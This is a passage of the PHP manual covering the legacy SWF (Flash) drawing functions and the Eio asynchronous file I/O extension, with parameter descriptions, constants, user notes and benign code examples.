Places the object in the current frame at a specified depth.

This uses the current mulcolor (specified by swf_mulcolor()) and the current addcolor (specified by swf_addcolor()) to color the object and it uses the current matrix to position the object.

Parameters

objid

The object id.

depth

Must be between 1 and 65535.

Return Values

No value is returned.

User Contributed Notes

PHPcoder at Zurita dot com 09-Dec-2009 10:55
Objects with a greater value for the depth parameter are placed in front of (or on top of) objects with a lesser depth value.
swf_perspective
swf_polarview
SWF Functions


Define the viewer's position with polar coordinates

swf_placeobject
swf_popmatrix
SWF Functions
PHP Manual

swf_polarview

(PHP 4)

swf_polarview — Define the viewer's position with polar coordinates

Description

void swf_polarview ( float $dist , float $azimuth , float $incidence , float $twist )

The swf_polarview() function defines the viewer's position in polar coordinates.

Parameters

dist

The distance between the viewpoint to the world space origin.

azimuth

Defines the azimuthal angle in the x,y coordinate plane, measured in distance from the y axis.

incidence

Defines the angle of incidence in the y,z plane, measured in distance from the z axis. The incidence angle is defined as the angle of the viewport relative to the z axis.

twist

Specifies the amount that the viewpoint is to be rotated about the line of sight using the right hand rule.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_placeobject
swf_popmatrix
SWF Functions


Restore a previous transformation matrix

swf_polarview
swf_posround
SWF Functions
PHP Manual

swf_popmatrix

(PHP 4)

swf_popmatrix — Restore a previous transformation matrix

Description

void swf_popmatrix ( void )

Restores a previous transformation matrix.

Return Values

No value is returned.

See Also

  • swf_pushmatrix() - Push the current transformation matrix back onto the stack

User Contributed Notes

There are no user contributed notes for this page.
swf_polarview
swf_posround
SWF Functions


Enables or Disables the rounding of the translation when objects are placed or moved

swf_popmatrix
swf_pushmatrix
SWF Functions
PHP Manual

swf_posround

(PHP 4)

swf_posround — Enables or Disables the rounding of the translation when objects are placed or moved

Description

void swf_posround ( int $round )

Enables or disables the rounding of the translation when objects are placed or moved, there are times when text becomes more readable because rounding has been enabled.

Parameters

round

Whether to enable rounding or not, if set to the value of 1, then rounding is enabled, if set to 0 then rounding is disabled.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_popmatrix
swf_pushmatrix
SWF Functions


Push the current transformation matrix back onto the stack

swf_posround
swf_removeobject
SWF Functions
PHP Manual

swf_pushmatrix

(PHP 4)

swf_pushmatrix — Push the current transformation matrix back onto the stack

Description

void swf_pushmatrix ( void )

Pushes the current transformation matrix back onto the stack.

Return Values

No value is returned.

See Also

  • swf_popmatrix() - Restore a previous transformation matrix

User Contributed Notes

greg at newtechy dot com 16-Aug-2001 07:30
This function saves the current transformation settings on the stack so that you can restore it later if you need to.  You can restore it with the popmatrix function.  For example, if you run this code:

// save the current transformation matrix
swf_pushmatrix();

// translate this object
swf_definefont(3, "Mod");
swf_fontsize(5);
swf_definetext(3, "Hello", 1);
swf_translate(50, 50, 0);
swf_placeobject(3, 50);

// reload the last saved transformation matrix
swf_popmatrix();

swf_showframe();

Only the text "Hello" will be transformed to that location on the animation.  At first when I started using this library I didn't know what this did, but this is what I've found so far.  It can be very useful in animation.
swf_posround
swf_removeobject
SWF Functions


Remove an object

swf_pushmatrix
swf_rotate
SWF Functions
PHP Manual

swf_removeobject

(PHP 4)

swf_removeobject — Remove an object

Description

void swf_removeobject ( int $depth )

Removes the last object drawn at the depth specified by depth.

Parameters

depth

The depth, as an integer.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_pushmatrix
swf_rotate
SWF Functions


Rotate the current transformation

swf_removeobject
swf_scale
SWF Functions
PHP Manual

swf_rotate

(PHP 4)

swf_rotate — Rotate the current transformation

Description

void swf_rotate ( float $angle , string $axis )

Rotates the current transformation by a given angle around the given axis.

Parameters

angle

The rotation angle.

axis

The axis. Valid values axis are x (the x axis), y (the y axis) or z (the z axis).

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_removeobject
swf_scale
SWF Functions


Scale the current transformation

swf_rotate
swf_setfont
SWF Functions
PHP Manual

swf_scale

(PHP 4)

swf_scale — Scale the current transformation

Description

void swf_scale ( float $x , float $y , float $z )

The swf_scale() scales curve coordinates by the given value.

Parameters

x

x scale factor.

y

y scale factor.

z

z scale factor.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_rotate
swf_setfont
SWF Functions


Change the current font

swf_scale
swf_setframe
SWF Functions
PHP Manual

swf_setfont

(PHP 4)

swf_setfont — Change the current font

Description

void swf_setfont ( int $fontid )

The swf_setfont() sets the current font to the value given by the fontid parameter.

Parameters

fontid

The font identifier.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_scale
swf_setframe
SWF Functions


Switch to a specified frame

swf_setfont
swf_shapearc
SWF Functions
PHP Manual

swf_setframe

(PHP 4)

swf_setframe — Switch to a specified frame

Description

void swf_setframe ( int $framenumber )

Changes the active frame to the specified on.

Parameters

framenumber

The frame number to be set.

Return Values

No value is returned.

See Also

  • swf_getframe() - Get the frame number of the current frame

User Contributed Notes

There are no user contributed notes for this page.
swf_setfont
swf_shapearc
SWF Functions


Draw a circular arc

swf_setframe
swf_shapecurveto3
SWF Functions
PHP Manual

swf_shapearc

(PHP 4)

swf_shapearc — Draw a circular arc

Description

void swf_shapearc ( float $x , float $y , float $r , float $ang1 , float $ang2 )

Draws a circular arc.

Parameters

x

x-coordinate of the center.

y

y-coordinate of the center.

r

The arc radius.

ang1

The start angle.

ang2

The end angle.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_setframe
swf_shapecurveto3
SWF Functions


Draw a cubic bezier curve

swf_shapearc
swf_shapecurveto
SWF Functions
PHP Manual

swf_shapecurveto3

(PHP 4)

swf_shapecurveto3 — Draw a cubic bezier curve

Description

void swf_shapecurveto3 ( float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Draw a cubic bezier curve using the given coordinates.

The current position is then set to the x3,y3 coordinate.

Parameters

x1

x-coordinate of the first off curve control point.

y1

y-coordinate of the first off curve control point.

x2

x-coordinate of the second off curve control point.

y2

y-coordinate of the second off curve control point.

x3

x-coordinate of the endpoint.

y3

y-coordinate of the endpoint.

Return Values

No value is returned.

See Also

  • swf_shapecurveto() - Draw a quadratic bezier curve between two points

User Contributed Notes

There are no user contributed notes for this page.
swf_shapearc
swf_shapecurveto
SWF Functions


Draw a quadratic bezier curve between two points

swf_shapecurveto3
swf_shapefillbitmapclip
SWF Functions
PHP Manual

swf_shapecurveto

(PHP 4)

swf_shapecurveto — Draw a quadratic bezier curve between two points

Description

void swf_shapecurveto ( float $x1 , float $y1 , float $x2 , float $y2 )

Draws a quadratic bezier curve from the current location, though the two given points.

The current position is then set to the point defined by the x2 and y2 parameters.

Parameters

x1

x-coordinate of the first point.

y1

y-coordinate of the first point.

x2

x-coordinate of the second point.

y2

y-coordinate of the second point.

Return Values

No value is returned.

See Also

  • swf_shapecurveto3() - Draw a cubic bezier curve

User Contributed Notes

There are no user contributed notes for this page.
swf_shapecurveto3
swf_shapefillbitmapclip
SWF Functions


Set current fill mode to clipped bitmap

swf_shapecurveto
swf_shapefillbitmaptile
SWF Functions
PHP Manual

swf_shapefillbitmapclip

(PHP 4)

swf_shapefillbitmapclip — Set current fill mode to clipped bitmap

Description

void swf_shapefillbitmapclip ( int $bitmapid )

Sets the fill to bitmap clipped, empty spaces will be filled by the bitmap.

Parameters

bitmapid

The bitmap id.

Return Values

No value is returned.

See Also

  • swf_shapefillbitmaptile() - Set current fill mode to tiled bitmap

User Contributed Notes

There are no user contributed notes for this page.
swf_shapecurveto
swf_shapefillbitmaptile
SWF Functions


Set current fill mode to tiled bitmap

swf_shapefillbitmapclip
swf_shapefilloff
SWF Functions
PHP Manual

swf_shapefillbitmaptile

(PHP 4)

swf_shapefillbitmaptile — Set current fill mode to tiled bitmap

Description

void swf_shapefillbitmaptile ( int $bitmapid )

Sets the fill to bitmap tile, empty spaces will be filled by the bitmap.

Parameters

bitmapid

The bitmap id.

Return Values

No value is returned.

See Also

  • swf_shapefillbitmapclip() - Set current fill mode to clipped bitmap

User Contributed Notes

There are no user contributed notes for this page.
swf_shapefillbitmapclip
swf_shapefilloff
SWF Functions


Turns off filling

swf_shapefillbitmaptile
swf_shapefillsolid
SWF Functions
PHP Manual

swf_shapefilloff

(PHP 4)

swf_shapefilloff — Turns off filling

Description

void swf_shapefilloff ( void )

Turns off filling for the current shape.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_shapefillbitmaptile
swf_shapefillsolid
SWF Functions


Set the current fill style to the specified color

swf_shapefilloff
swf_shapelinesolid
SWF Functions
PHP Manual

swf_shapefillsolid

(PHP 4)

swf_shapefillsolid — Set the current fill style to the specified color

Description

void swf_shapefillsolid ( float $r , float $g , float $b , float $a )

Sets the current fill style to solid, and then sets the fill color to the given color.

Parameters

r

Red value

g

Green value

b

Blue value

a

Alpha value

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_shapefilloff
swf_shapelinesolid
SWF Functions


Set the current line style

swf_shapefillsolid
swf_shapelineto
SWF Functions
PHP Manual

swf_shapelinesolid

(PHP 4)

swf_shapelinesolid — Set the current line style

Description

void swf_shapelinesolid ( float $r , float $g , float $b , float $a , float $width )

Sets the current line style to the given color and width.

Parameters

r

Red value

g

Green value

b

Blue value

a

Alpha value

width

The line width. If 0.0 is given then no lines are drawn.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_shapefillsolid
swf_shapelineto
SWF Functions


Draw a line

swf_shapelinesolid
swf_shapemoveto
SWF Functions
PHP Manual

swf_shapelineto

(PHP 4)

swf_shapelineto — Draw a line

Description

void swf_shapelineto ( float $x , float $y )

Draws a line to the x and y coordinates. The current position is then set to that point.

Parameters

x

x-coordinate of the target.

y

y-coordinate of the target.

Return Values

No value is returned.

User Contributed Notes

mathe at bluemento dot de 15-Sep-2003 08:58
I did make other experience with this function:

swf_startshape ($this->gButton);
  swf_addcolor(0,0,0,0);
  swf_shapelinesolid(1,0,0,0,5);
  swf_shapefillsolid($r,$g,$b,1);
  swf_shapemoveto(0,10);
  swf_shapelineto(60,10);
  swf_shapelineto(60,-5);
  swf_shapelineto(-35,-5);
  swf_shapelineto(-35,10);
swf_endshape($this->gButton);

Here, swf_shapelineto doesnt set the given values to the
current position. In case this would not build a rectangle -
but it does.
swf_shapelinesolid
swf_shapemoveto
SWF Functions


Move the current position

swf_shapelineto
swf_showframe
SWF Functions
PHP Manual

swf_shapemoveto

(PHP 4)

swf_shapemoveto — Move the current position

Description

void swf_shapemoveto ( float $x , float $y )

Moves the current position to the given point.

Parameters

x

x-coordinate of the target.

y

y-coordinate of the target.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_shapelineto
swf_showframe
SWF Functions


Display the current frame

swf_shapemoveto
swf_startbutton
SWF Functions
PHP Manual

swf_showframe

(PHP 4)

swf_showframe — Display the current frame

Description

void swf_showframe ( void )

Outputs the current frame.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_shapemoveto
swf_startbutton
SWF Functions


Start the definition of a button

swf_showframe
swf_startdoaction
SWF Functions
PHP Manual

swf_startbutton

(PHP 4)

swf_startbutton — Start the definition of a button

Description

void swf_startbutton ( int $objid , int $type )

Starts the definition of a button.

Parameters

objid

The object id.

type

Can either be TYPE_MENUBUTTON or TYPE_PUSHBUTTON. The TYPE_MENUBUTTON constant allows the focus to travel from the button when the mouse is down, TYPE_PUSHBUTTON does not allow the focus to travel when the mouse is down.

Return Values

No value is returned.

See Also

  • swf_endbutton() - End the definition of the current button

User Contributed Notes

There are no user contributed notes for this page.
swf_showframe
swf_startdoaction
SWF Functions


Start a description of an action list for the current frame

swf_startbutton
swf_startshape
SWF Functions
PHP Manual

swf_startdoaction

(PHP 4)

swf_startdoaction — Start a description of an action list for the current frame

Description

void swf_startdoaction ( void )

Starts the description of an action list for the current frame. This must be called before actions are defined for the current frame.

Return Values

No value is returned.

See Also

  • swf_enddoaction() - End the current action

User Contributed Notes

There are no user contributed notes for this page.
swf_startbutton
swf_startshape
SWF Functions


Start a complex shape

swf_startdoaction
swf_startsymbol
SWF Functions
PHP Manual

swf_startshape

(PHP 4)

swf_startshape — Start a complex shape

Description

void swf_startshape ( int $objid )

Starts a complex shape.

Parameters

objid

The object id.

Return Values

No value is returned.

See Also

  • swf_endshape() - Completes the definition of the current shape

User Contributed Notes

There are no user contributed notes for this page.
swf_startdoaction
swf_startsymbol
SWF Functions


Define a symbol

swf_startshape
swf_textwidth
SWF Functions
PHP Manual

swf_startsymbol

(PHP 4)

swf_startsymbol — Define a symbol

Description

void swf_startsymbol ( int $objid )

Defines an object id as a symbol. Symbols are tiny flash movies that can be played simultaneously.

Parameters

objid

The object id you want to define as a symbol.

Return Values

No value is returned.

See Also

  • swf_endsymbol() - End the definition of a symbol

User Contributed Notes

There are no user contributed notes for this page.
swf_startshape
swf_textwidth
SWF Functions


Get the width of a string

swf_startsymbol
swf_translate
SWF Functions
PHP Manual

swf_textwidth

(PHP 4)

swf_textwidth — Get the width of a string

Description

float swf_textwidth ( string $str )

Gives the width of the string in pixels, using the current font and font size.

Parameters

str

The string.

Return Values

Returns the line width, as a float.

User Contributed Notes

There are no user contributed notes for this page.
swf_startsymbol
swf_translate
SWF Functions


Translate the current transformations

swf_textwidth
swf_viewport
SWF Functions
PHP Manual

swf_translate

(PHP 4)

swf_translate — Translate the current transformations

Description

void swf_translate ( float $x , float $y , float $z )

Translates the current transformation by the given values.

Parameters

x

x value.

y

y value.

z

z value.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_textwidth
swf_viewport
SWF Functions


Select an area for future drawing

swf_translate
Process Control Extensions
SWF Functions
PHP Manual

swf_viewport

(PHP 4)

swf_viewport — Select an area for future drawing

Description

void swf_viewport ( float $xmin , float $xmax , float $ymin , float $ymax )

Selects an area for future drawing for xmin to xmax and ymin to ymax, if this function is not called the area defaults to the size of the screen.

Parameters

xmin

xmax

ymin

ymax

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
swf_translate
Process Control Extensions
SWF Functions


Process Control Extensions

  • Eio
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Eio Functions
  • Expect
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Expect Functions
  • Libevent
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Libevent Functions
  • PCNTL — Process Control
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • PCNTL Functions
  • POSIX
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • POSIX Functions
  • Program execution — System program execution
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Program execution Functions
  • Semaphore — Semaphore, Shared Memory and IPC
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Semaphore Functions
  • Shared Memory
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Shared Memory Functions

User Contributed Notes

There are no user contributed notes for this page.
swf_viewport
Eio
Function Reference


Eio

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Eio Functions
    • eio_busy — Artificially increase load. Could be useful in tests, benchmarking.
    • eio_cancel — Cancels a request
    • eio_chmod — Change file/direcrory permissions.
    • eio_chown — Change file/direcrory permissions.
    • eio_close — Close file
    • eio_custom — Execute custom request like any other eio_* call.
    • eio_dup2 — Duplicate a file descriptor
    • eio_event_loop — Polls libeio until all requests proceeded
    • eio_fallocate — Allows the caller to directly manipulate the allocated disk space for a file
    • eio_fchmod — Change file permissions.
    • eio_fchown — Change file ownership
    • eio_fdatasync — Synchronize a file's in-core state with storage device.
    • eio_fstat — Get file status
    • eio_fstatvfs — Get file system statistics
    • eio_fsync — Synchronize a file's in-core state with storage device
    • eio_ftruncate — Truncate a file
    • eio_futime — Change file last access and modification times
    • eio_get_event_stream — Get stream representing a variable used in internal communications with libeio.
    • eio_grp_add — Adds a request to the request group.
    • eio_grp_cancel — Cancels a request group
    • eio_grp_limit — Set group limit
    • eio_grp — Createsa request group.
    • eio_link — Create a hardlink for file
    • eio_lstat — Get file status
    • eio_mkdir — Create directory
    • eio_mknod — Create a special or ordinary file.
    • eio_nop — Does nothing, except go through the whole request cycle.
    • eio_npending — Returns number of finished, but unhandled requests
    • eio_nready — Returns number of not-yet handled requests
    • eio_nreqs — Returns number of requests to be processed
    • eio_nthreads — Returns number of threads currently in use
    • eio_open — Opens a file
    • eio_poll — Can be to be called whenever there are pending requests that need finishing.
    • eio_read — Read from a file descriptor at given offset.
    • eio_readahead — Perform file readahead into page cache
    • eio_readdir — Reads through a whole directory
    • eio_readlink — Read value of a symbolic link.
    • eio_realpath — Get the canonicalized absolute pathname.
    • eio_rename — Change the name or location of a file.
    • eio_rmdir — Remove a directory
    • eio_sendfile — Transfer data between file descriptors
    • eio_set_max_idle — Set maximum number of idle threads.
    • eio_set_max_parallel — Set maximum parallel threads
    • eio_set_max_poll_reqs — Set maximum number of requests processed in a poll.
    • eio_set_max_poll_time — Set maximum poll time
    • eio_set_min_parallel — Set minimum parallel thread number
    • eio_stat — Get file status
    • eio_statvfs — Get file system statistics
    • eio_symlink — Create a symbolic link
    • eio_sync_file_range — Sync a file segment with disk
    • eio_sync — Commit buffer cache to disk
    • eio_syncfs — Calls Linux' syncfs syscall, if available
    • eio_truncate — Truncate a file
    • eio_unlink — Delete a name and possibly the file it refers to
    • eio_utime — Change file last access and modification times.
    • eio_write — Write to file

User Contributed Notes

There are no user contributed notes for this page.
Process Control Extensions
Introduction
Process Control Extensions


Introduction

This extension provides asyncronous POSIX I/O by means of » libeio C library written by Marc Lehmann.

Note: This extension is not available on Windows platforms.

Warning

It is important to aware that each request is executed in a thread, and the order of execution of continuously queued requests basically is unpredictable. For instance, the following piece of code is incorrect.

Example #1 Incorrect requests

<?php
// Request to create symlink of $filename to $link
eio_symlink($filename, $link);

// Request to move $filename to $new_filename
eio_rename($filename, $new_filename);

// Process requests
eio_event_loop();
?>
In the example above eio_rename() request may finish before eio_symlink(). To fix it you might call eio_rename() in the callback of eio_symlink():

Example #2 Calling request from a request callback

<?php
function my_symlink_done($filename, $result) {
 // Request to move $filename to $new_filename
 eio_rename($filename, "/path/to/new-name");

 // Process requests
 eio_event_loop();
}

// Request to create symlink of $filename to $link
eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_done", $filename);

// Process requests
eio_event_loop();
?>
Alternatively, you might want to create a request group:

Example #3 Calling request from a request callback

<?php
/* Is called when the group requests are done */
function my_grp_done($data, $result) {
 // ...
}

function my_symlink_done($filename, $result) {
 // Create eio_rename request and add it to the group
 $req = eio_rename($filename, "/path/to/new-name");
 eio_grp_add($grp, $req);
 // You might want to add more requests...
}

// Create a request group
$grp = eio_grp("my_grp_done", "my_grp_data");

// Create eio_symlink request and add it to the group
// Pass $filename to the callback
$req = eio_symlink($filename, $link,
  EIO_PRI_DEFAULT, "my_symlink_done", $filename);
eio_grp_add($grp, $req);

// Process requests
eio_event_loop();
?>
Group is a special kind of request that could accumulate a set of regular eio requests. This could be used to create a complex request that opens, reads and closes a file.

Since version 0.3.0 alpha, a variable used in communications with libeio internally, could be retrieved with eio_get_event_stream(). The variable could be used to bind to an event loop supported by some other extension. You might organize a simple event loop where eio and libevent work together:

Example #4 Using eio with libevent

<?php
function my_eio_poll($fd, $events, $arg) {
    /* Some libevent regulation might go here .. */
    if (eio_nreqs()) {
        eio_poll();
    }
    /* .. and here */
}

function my_res_cb($d, $r) {
    var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

// This stream is used to bind with libevent
$fd = eio_get_event_stream();

eio_nop(EIO_PRI_DEFAULT, "my_res_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_res_cb", "mkdir data");
/* some other eio_* calls here ... */

// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// set event base
event_base_set($event, $base);

// enable event
event_add($event);

// start event loop
event_base_loop($base);

/* The same will be available via buffered libevent interface */
?>

User Contributed Notes

There are no user contributed notes for this page.
Eio
Installing/Configuring
Eio


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Eio


Requirements

This extension has » libeio library embedded. So you do NOT need to install libeio separately.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/eio.

For information about manual installation, please read the file INSTALL included in the package.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

There are two resource types in this extension: request and request group.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Request priority constants:

EIO_PRI_MIN (integer)
Request minimal prioriry
EIO_PRI_DEFAULT (integer)
Request default prioriry
EIO_PRI_MAX (integer)
Request maximal prioriry

Flags used with eio_readdir():

EIO_READDIR_DENTS (integer)
eio_readdir() flag. If specified, the result argument of the callback becomes an array with the following keys: 'names' - array of directory names 'dents' - array of struct eio_dirent-like arrays having the following keys each: 'name' - the directory name; 'type' - one of EIO_DT_* constants; 'inode' - the inode number, if available, otherwise unspecified;
EIO_READDIR_DIRS_FIRST (integer)
When this flag is specified, the names will be returned in an order where likely directories come first, in optimal stat order.
EIO_READDIR_STAT_ORDER (integer)
When this flag is specified, then the names will be returned in an order suitable for stat'ing each one. When planning to stat() all files in the given directory, the returned order will likely be fastest.
EIO_READDIR_FOUND_UNKNOWN (integer)
EIO_DT_UNKNOWN (integer)
Unknown node type(very common). Further stat() needed.
EIO_DT_FIFO (integer)
FIFO node type
EIO_DT_CHR (integer)
Node type
EIO_DT_MPC (integer)
Multiplexed char device (v7+coherent) node type
EIO_DT_DIR (integer)
Directory node type
EIO_DT_NAM (integer)
Xenix special named file node type
EIO_DT_BLK (integer)
Node type
EIO_DT_MPB (integer)
Multiplexed block device (v7+coherent)
EIO_DT_REG (integer)
Node type
EIO_DT_NWK (integer)
EIO_DT_CMP (integer)
HP-UX network special node type
EIO_DT_LNK (integer)
Link node type
EIO_DT_SOCK (integer)
Socket node type
EIO_DT_DOOR (integer)
Solaris door node type
EIO_DT_WHT (integer)
Node type
EIO_DT_MAX (integer)
Highest node type value

Access modes for eio_open() flags argument:

EIO_O_RDONLY (integer)
EIO_O_WRONLY (integer)
EIO_O_RDWR (integer)
EIO_O_NONBLOCK (integer)
EIO_O_APPEND (integer)
EIO_O_CREAT (integer)
EIO_O_TRUNC (integer)
EIO_O_EXCL (integer)
EIO_O_FSYNC (integer)

mode argument flags for eio_open():

EIO_S_IRUSR (integer)
EIO_S_IWUSR (integer)
EIO_S_IXUSR (integer)
EIO_S_IRGRP (integer)
EIO_S_IWGRP (integer)
EIO_S_IXGRP (integer)
EIO_S_IROTH (integer)
EIO_S_IWOTH (integer)
EIO_S_IXOTH (integer)
EIO_S_IFREG (integer)
EIO_S_IFCHR (integer)
EIO_S_IFBLK (integer)
EIO_S_IFIFO (integer)
EIO_S_IFSOCK (integer)

eio_sync_file_range() flags:

EIO_SYNC_FILE_RANGE_WAIT_BEFORE (integer)
EIO_SYNC_FILE_RANGE_WRITE (integer)
EIO_SYNC_FILE_RANGE_WAIT_AFTER (integer)

eio_fallocate() flags:

EIO_FALLOC_FL_KEEP_SIZE (integer)

Note:

EIO_S_I* constants have the same meaning as their S_I* POSIX counterparts.

Note:

EIO_SYNC_FILE_* constants have the same meaning as their SYNC_FILE_** counterparts.

Note:

EIO_O_* constants have the same meaning as their O_* POSIX counterparts.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Eio


Examples

Example #1 Cancelling a request

<?php
 /* Is called when eio_nop() finished */
 function my_nop_cb($data, $result) {
  echo "my_nop ", $data, "\n";
 }

// This eio_nop() call will be cancelled
$req = eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "1");
var_dump($req);
eio_cancel($req);

// This time eio_nop() will be processed
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "2");

// Process requests
eio_event_loop();
?>

The above example will output something similar to:

resource(4) of type (EIO Request Descriptor)
my_nop 2

Example #2 Calling eio_chmod()

<?php
$temp_filename = dirname(__FILE__) ."/eio-temp-file.tmp";
touch($temp_filename);

/* Is called when eio_chmod() finished */
function my_chmod_callback($data, $result) {
    global $temp_filename;

    if ($result == 0 && !is_readable($temp_filename) && is_writable($temp_filename)) {
        echo "eio_chmod_ok";
    }

    @unlink($temp_filename);
}

eio_chmod($temp_filename, 0200, EIO_PRI_DEFAULT, "my_chmod_callback");
eio_event_loop();
?>

The above example will output something similar to:

eio_chmod_ok

Example #3 Making a custom request

<?php
/* Callback for the custom callback */
function my_custom_callback($data, $result) {
    var_dump($data);
    var_dump(count($result));
    var_dump($result['data_modified']);
    var_dump($result['result']);
}

/* The custom request */
function my_custom($data) {
    var_dump($data);

    $result  = array(
        'result'        => 1001,
        'data_modified' => "my custom data",
    );

    return $result;
}

$data = "my_custom_data";
$req = eio_custom("my_custom", EIO_PRI_DEFAULT, "my_custom_callback", $data);
var_dump($req);
eio_event_loop();
?>

The above example will output something similar to:

resource(4) of type (EIO Request Descriptor)
string(14) "my_custom_data"
string(14) "my_custom_data"
int(2)
string(14) "my custom data"
int(1001)

Example #4 Grouping requests

<?php
/*
 * Create a group request to open, read and close a file
 */

$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);

/* Is called when the group requests are done */
function my_grp_done($data, $result) {
 global $temp_filename;
 var_dump($result == 0);
 @unlink($temp_filename);
}

/* Is called when eio_open() done */
function my_grp_file_opened_callback($data, $result) {
 global $my_file_fd, $grp;

 $my_file_fd = $result;

 var_dump($result > 0);

 // Create eio_read() request and add it to the group
 $req = eio_read($my_file_fd, 4, 0, EIO_PRI_DEFAULT, "my_grp_file_read_callback");
 eio_grp_add($grp, $req);
}

/* Is called when eio_read() done */
function my_grp_file_read_callback($data, $result) {
 global $my_file_fd, $grp;

 var_dump($result);

 // Create eio_close() request and add it to the group
 $req = eio_close($my_file_fd);
 eio_grp_add($grp, $req);
}

$grp = eio_grp("my_grp_done", "my_grp_data");

// Create eio_open() request and add it to the group
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
  EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);
eio_grp_add($grp, $req);
var_dump($grp);

eio_event_loop();
?>

The above example will output something similar to:

resource(6) of type (EIO Group Descriptor)
bool(true)
string(4) "some"
bool(true)

Example #5 Using eio with libevent

<?php
function my_eio_poll($fd, $events, $arg) {
    /* Some libevent regulation might go here .. */
    if (eio_nreqs()) {
        eio_poll();
    }
    /* .. and here */
}

function my_nop_cb($d, $r) {
    var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

$fd = eio_get_event_stream();
var_dump($fd);

eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
/* some other eio_* calls here ... */

// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// set event base
event_base_set($event, $base);

// enable event
event_add($event);

// start event loop
event_base_loop($base);

/* The same will be available via buffered libevent interface */
?>

The above example will output something similar to:

int(3)
int(0)
string(8) "nop data"
int(0)
string(10) "mkdir data"

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Eio Functions
Eio


Eio Functions

Table of Contents

  • eio_busy — Artificially increase load. Could be useful in tests, benchmarking.
  • eio_cancel — Cancels a request
  • eio_chmod — Change file/direcrory permissions.
  • eio_chown — Change file/direcrory permissions.
  • eio_close — Close file
  • eio_custom — Execute custom request like any other eio_* call.
  • eio_dup2 — Duplicate a file descriptor
  • eio_event_loop — Polls libeio until all requests proceeded
  • eio_fallocate — Allows the caller to directly manipulate the allocated disk space for a file
  • eio_fchmod — Change file permissions.
  • eio_fchown — Change file ownership
  • eio_fdatasync — Synchronize a file's in-core state with storage device.
  • eio_fstat — Get file status
  • eio_fstatvfs — Get file system statistics
  • eio_fsync — Synchronize a file's in-core state with storage device
  • eio_ftruncate — Truncate a file
  • eio_futime — Change file last access and modification times
  • eio_get_event_stream — Get stream representing a variable used in internal communications with libeio.
  • eio_grp_add — Adds a request to the request group.
  • eio_grp_cancel — Cancels a request group
  • eio_grp_limit — Set group limit
  • eio_grp — Createsa request group.
  • eio_link — Create a hardlink for file
  • eio_lstat — Get file status
  • eio_mkdir — Create directory
  • eio_mknod — Create a special or ordinary file.
  • eio_nop — Does nothing, except go through the whole request cycle.
  • eio_npending — Returns number of finished, but unhandled requests
  • eio_nready — Returns number of not-yet handled requests
  • eio_nreqs — Returns number of requests to be processed
  • eio_nthreads — Returns number of threads currently in use
  • eio_open — Opens a file
  • eio_poll — Can be to be called whenever there are pending requests that need finishing.
  • eio_read — Read from a file descriptor at given offset.
  • eio_readahead — Perform file readahead into page cache
  • eio_readdir — Reads through a whole directory
  • eio_readlink — Read value of a symbolic link.
  • eio_realpath — Get the canonicalized absolute pathname.
  • eio_rename — Change the name or location of a file.
  • eio_rmdir — Remove a directory
  • eio_sendfile — Transfer data between file descriptors
  • eio_set_max_idle — Set maximum number of idle threads.
